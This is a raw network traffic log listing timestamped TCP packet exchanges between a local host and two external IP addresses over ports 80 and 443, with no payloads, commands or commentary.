Nov 21, 2024 14:26:36.312366962 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.312616110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.312727928 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.312791109 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.313479900 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.313587904 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.313631058 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.314332962 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.347448111 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.347486973 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.347503901 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.347704887 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.347759008 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.347834110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.348586082 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.348665953 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.348882914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.349690914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.349716902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.349749088 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.350315094 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.350399971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.350421906 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.351170063 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.351232052 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.351232052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.351569891 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.351727009 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.351809025 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.352020979 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.352063894 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.352150917 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.352416992 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.352416992 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.352458000 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.352483988 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.352917910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.353113890 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.353168011 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.353728056 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.353853941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.353919029 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.354588032 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.354686975 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.354739904 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.355225086 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.355249882 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.355338097 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.355456114 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.355460882 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.355480909 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.355542898 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.355602026 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.356416941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.356565952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.356615067 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.357166052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.357290030 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.357338905 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.358053923 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.358120918 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.358180046 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.358861923 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.358948946 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.358999014 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.359708071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.359805107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.359859943 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.360570908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.360764027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.360826015 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.361413956 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.361541986 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.361597061 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.362262964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.362373114 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.362416029 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.363142967 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.363365889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.363425016 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.364037037 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.364140987 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.364192963 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.364871025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.364988089 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.365041018 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.365708113 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.365829945 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.365886927 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.366621971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.366632938 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.366682053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.368346930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.368356943 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.368366957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.368376970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.368412971 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.369187117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.369240046 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.369610071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.369992971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.370098114 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.370150089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.370842934 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.370913029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.370961905 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.371750116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.371850014 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.371902943 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.372642040 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.372796059 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.372853041 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.373457909 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.373511076 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.373558044 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.374440908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.374593973 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.374659061 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.375133038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.375272989 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.375325918 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.375977993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.376091003 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.376123905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.376846075 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.377002954 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.377063036 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.377726078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.377816916 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.377882004 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.378563881 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.378628969 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.378688097 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.379411936 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.379525900 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.379575968 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.380284071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.380383968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.380431890 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.381141901 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.381248951 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.381294012 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.382009983 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.382080078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.382122993 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.382828951 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.382968903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.383014917 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.383766890 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.383968115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.384011030 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.384613991 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.384658098 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.384833097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.385437012 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.385489941 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.385548115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.386275053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.386394024 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.386445045 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.387300014 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.387453079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.387510061 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.388063908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.388185978 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.388236046 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.388818979 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.388978004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.389029980 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.401623011 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.401797056 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.402817965 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.402962923 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.402962923 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.402997971 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.403026104 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.406090975 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.406121016 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.406193972 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.406371117 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.406383038 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.513508081 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.513607025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.513706923 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.513901949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.514012098 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.514784098 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.514811039 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.514919996 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.515718937 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.515777111 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.548492908 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.548505068 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.548696995 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.548707962 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.548932076 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.548985958 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.549566984 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.549659967 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.549712896 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.550452948 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.550591946 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.550646067 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.551254034 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:36.553755999 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:36.610958099 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.611025095 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.611099958 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.611361980 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.611382961 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.611396074 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.611401081 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.614490032 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.614526033 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.614608049 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.614841938 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.614851952 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.636548042 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.636606932 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.636683941 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.636842966 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.636859894 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.636873007 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.636877060 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.639091015 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.639134884 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:36.639203072 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.639394045 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:36.639410019 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:37.954267979 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:37.954875946 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:37.954890966 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:37.955317974 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:37.955322027 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.155693054 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.156311035 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.156328917 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.156789064 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.156795025 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.249855995 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.250377893 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.250396013 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.251040936 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.251044989 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.346596956 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.347040892 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.347063065 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.347533941 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.347537994 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.415776968 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.415837049 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.416009903 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.416131973 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.416143894 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.416152000 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.416157007 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.418739080 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.418765068 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.418961048 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.419111967 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.419120073 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.423813105 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.426040888 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.426071882 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.426426888 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.426433086 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.606050014 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.606259108 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.606450081 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.606575966 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.606589079 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.606597900 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.606602907 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.609075069 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.609138966 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.609236002 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.609524012 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.609546900 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.702111959 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.702188969 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.702478886 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.702478886 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.702517033 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.702532053 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.705941916 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.705984116 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.706067085 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.706212997 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.706229925 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.784610987 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.784676075 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.784878969 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.784940958 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.784956932 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.784969091 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.784974098 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.787424088 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.787523031 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.787621021 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.787760019 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.787797928 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.871956110 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.872004986 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.875441074 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.877196074 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.877233982 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.877263069 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.877284050 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.880584002 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.880625963 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:38.880706072 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.880954981 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:38.880980968 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.203608036 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.204235077 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.204294920 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.204698086 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.204710960 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.460500956 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.461170912 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.461208105 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.461651087 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.461666107 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.493030071 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.493767023 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.493794918 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.494694948 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.494704008 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.583287954 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.587626934 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.587706089 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.588217974 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.588232994 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.646317959 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.646476030 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.646557093 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.646931887 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.646979094 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.647011995 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.647027969 CET	443	49750	13.107.246.45	192.168.2.5
